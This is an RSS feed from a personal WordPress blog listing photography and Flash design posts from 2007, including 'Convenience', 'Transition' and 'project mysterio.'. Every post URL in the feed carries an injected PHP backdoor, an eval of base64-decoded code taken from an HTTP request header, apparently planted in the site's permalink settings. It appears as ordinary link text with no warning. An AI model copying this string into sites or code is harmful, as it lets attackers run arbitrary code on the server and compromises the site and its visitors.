<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chris Paterson &#187; Photography Work</title>
	<atom:link href="http://blog.chrispaterson.net/category/work/photography/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.chrispaterson.net</link>
	<description>Flash Actionscript Flex Designer Developer</description>
	<lastBuildDate>Thu, 13 May 2010 22:02:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Convenience</title>
		<link>http://blog.chrispaterson.net/2007/12/03/convenience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/12/03/convenience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 03 Dec 2007 22:32:48 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Creative]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/12/03/convenience/</guid>
		<description><![CDATA[Technology and convenience is what inspired this piece. In an age where technology makes leaps and bounds in improvement, it seems that perhaps the only thing slowing it down is the user. Convenience is not intended to create a shock value or to depict the apocalypse, rather it attempts to illustrate the relationship between man [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/12/03/convenience/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transition</title>
		<link>http://blog.chrispaterson.net/2007/12/03/transition/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/12/03/transition/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 03 Dec 2007 22:30:23 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Creative]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/12/03/transition/</guid>
		<description><![CDATA[Transition, is more or less a self portrait. I completed this piece in my last semester of college before starting my career. At the time I was enrolled in an inordinate number of classes and planning a wedding with my now wife. Transition is about moving from one phase of life to another and challenges [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/12/03/transition/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>project mysterio. book</title>
		<link>http://blog.chrispaterson.net/2007/12/02/project-mysterio-book/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/12/02/project-mysterio-book/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 03 Dec 2007 02:56:54 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[project mysterio.]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/12/02/project-mysterio-book/</guid>
		<description><![CDATA[A 20 page book describing the project mysterio. story.  This book was created as a result of constant request for me to tell the story of project mysterio. I wrote and photographed a book because the story is rather long and I needed a solution. I have sold several copies.





















]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/12/02/project-mysterio-book/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>project mysterio.</title>
		<link>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 00:21:34 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Design Work]]></category>
		<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Creative]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[project mysterio.]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/18/project-mysterio/</guid>
		<description><![CDATA[project mysterio. grew organically from its inception. Originally, it was about chasing the paper boy late at night and trying to avoid getting hit by his maniacal driving. The concept soon grew as I put an identity to it. Today, project mysterio. is bigger than chasing the paper boy. It started a small underground movement [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/18/project-mysterio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ValueClick Media Performance Interviews</title>
		<link>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 06:09:53 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Flash Work]]></category>
		<category><![CDATA[Photography Work]]></category>
		<category><![CDATA[Video Work]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Actionscript 2]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/</guid>
		<description><![CDATA[Taken on through La Visual.  The ValueClick Performance interviews mini site is used as a marketing vehicle for ValueClick Media.  The videos highlight industry leaders speaking about the concept of performance.


 
Click here to view mockup.
 


 Key technical achievments:
Scripted motion
MySql PHP driven through XML rpc
Bookmarkable videos through anchor links parsed in javascript
Page titles [...]]]></description>
		<wfw:commentRss>http://blog.chrispaterson.net/2007/10/17/valueclick-media-performance-interviews/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
